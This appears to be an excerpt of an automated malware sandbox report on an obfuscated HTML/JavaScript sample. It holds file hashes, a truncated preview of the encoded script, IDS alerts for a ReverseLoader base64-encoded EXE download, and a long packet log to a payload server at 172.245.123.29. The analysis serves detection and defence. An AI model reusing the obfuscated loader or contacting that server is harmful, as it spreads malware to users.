                                                      SSDEEP:96:4owZw9d6yfauSmhZHdiCIirU+mEUOPaSz7ASmhZHdiCIihU+mEUOPaSz7+Uds6wN:4LwPcAziSz6M8PQ
                                                      TLSH:85F3B451E93404EDFAFD5E9BB5BDA48E35A423179FC99D8D4227FB80D8A734EA4408C0
                                                      File Content Preview:<script language=JavaScript>m='%3Cscript%20language%3DJavaScript%3Em%3D%27%253CScript%2520Language%253D%2527Javascript%2527%253E%250A%253C%2521--%2520HTML%2520Encryption%2520provided%2520by%2520tufat.com%2520--%253E%250A%253C%2521--%250Adocument.write%252

                                                      Network Behavior

                                                      Suricata IDS Alerts

                                                      TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                      2024-12-07T15:47:36.172659+01002057635ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound1172.245.123.2980192.168.2.649760TCP
                                                      2024-12-07T15:47:36.172659+01002858295ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)1172.245.123.2980192.168.2.649760TCP
                                                      2024-12-07T15:47:46.234065+01002858795ETPRO MALWARE ReverseLoader Payload Request (GET) M21192.168.2.649710172.245.123.2980TCP

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Dec 7, 2024 15:47:45.004898071 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:45.125461102 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:45.125550985 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:45.126280069 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:45.246133089 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.233954906 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234005928 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234021902 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234041929 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234065056 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.234113932 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.234139919 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234152079 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234178066 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.234179020 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234194994 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234208107 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.234222889 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.234241009 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.234369040 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234384060 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.234409094 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.234424114 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.358470917 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.358527899 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.358618021 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.358696938 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.362693071 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.362746954 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.426148891 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.426198006 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.426222086 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.426255941 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.430280924 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.430327892 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.430342913 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.430393934 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.438716888 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.438774109 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.438832998 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.438879967 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.447055101 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.447113037 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.447151899 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.447196007 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.455674887 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.455729008 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.455801010 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.455939054 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.463923931 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.463967085 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.463973999 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.464008093 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.472317934 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.472383976 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.472399950 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.472441912 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.480735064 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.480798960 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.480837107 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.480887890 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.570622921 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.570636988 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.570842028 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.574642897 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.574698925 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.574702978 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.574744940 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.583105087 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.583117962 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.583162069 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.591403961 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.591461897 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.591495991 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.591542006 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.618551016 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.618565083 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.618798971 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.622649908 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.622725010 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.622745037 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.622783899 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.631057024 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.631164074 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.631244898 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.639416933 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.639532089 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.639602900 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.647847891 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.647900105 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.647952080 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.647996902 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.656255007 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.656267881 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.656313896 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.664668083 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.664730072 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.664730072 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.664774895 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.673091888 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.673135042 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.673142910 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.673175097 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.681456089 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.681524038 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.681550026 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.681597948 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.689862967 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.689914942 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.689975977 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.690020084 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.698277950 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.698329926 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.698412895 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.698468924 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.706794977 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.706845999 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.707009077 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.707053900 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.715198040 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.715255022 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.715311050 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.715361118 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.722425938 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.722448111 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.722496033 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.729329109 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.729382992 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.729449987 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.729495049 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.735673904 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.735733986 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.735805035 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.735851049 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.748775005 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.748938084 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.748951912 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.748953104 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.748986959 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.749006987 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.749062061 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.749274015 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.754730940 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.754812002 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.754815102 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.754856110 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.761030912 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.761085033 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.761161089 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.761209011 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.767256021 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.767317057 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.767350912 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.767399073 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.789804935 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.789863110 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.789912939 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.789962053 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.792793036 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.792834997 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.792844057 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.792872906 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.799062967 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.799141884 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.799184084 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.799227953 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.810847998 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.810904980 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.810942888 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.810986042 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.813311100 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.813364029 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.813499928 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.813553095 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.818584919 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.818639994 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.818676949 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.818721056 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.824013948 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.824073076 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.824079037 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.824117899 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.829209089 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.829262972 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.829327106 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.834481955 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.834532022 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.834542990 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.834573030 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.839493990 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.839543104 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.839617968 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.839750051 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.844451904 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.844515085 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.844552994 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.844588041 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.849528074 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.849545002 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.849580050 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.849607944 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.852675915 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.852880955 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.852942944 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.856154919 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.856231928 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.856249094 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.856295109 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.859157085 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.859219074 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.859250069 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.859297037 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.862493992 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.862495899 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.862543106 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.865502119 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.865653992 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.865705967 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.868699074 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.868741989 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.868746996 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.868777990 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.872014046 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.872087002 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.872112036 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.872147083 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.875036001 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.875135899 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.875143051 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.875178099 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.878315926 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.878398895 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.878442049 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.881764889 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.881814003 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.881895065 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.881948948 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.884704113 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.884834051 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.884886980 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.887669086 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.887715101 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:46.887783051 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:46.887823105 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:51.239144087 CET8049710172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:47:51.239209890 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:47:52.860085011 CET4971080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:12.519992113 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:12.639780045 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:12.639931917 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:12.640024900 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:12.763473034 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.753664970 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.753767014 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.753843069 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.753879070 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.753942013 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.753954887 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.753973007 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.753988981 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.754009962 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.754144907 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.754156113 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.754173994 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.754184008 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.754200935 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.754220009 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.873811007 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.873850107 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.873897076 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.878205061 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.918798923 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.946244001 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.946382046 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.946444035 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.950413942 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.950567007 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.950613022 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.958868980 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.959055901 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.959112883 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.967351913 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.967422009 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.967475891 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.975728035 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.975845098 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.975900888 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.984106064 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.984138012 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.984193087 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:13.992599964 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.992686987 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:13.992741108 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.001065016 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.001138926 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.001204014 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.009742022 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.009767056 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.009824038 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.017870903 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.017946959 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.018009901 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.038575888 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.038638115 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.038708925 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.138385057 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.138400078 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.138495922 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.139805079 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.139966011 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.140013933 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.145083904 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.145328045 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.145401955 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.149976969 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.150078058 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.150135994 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.155128956 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.155215025 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.155273914 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.159909010 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.160022974 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.160089016 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.165011883 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.165100098 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.165153980 CET4976080192.168.2.6172.245.123.29
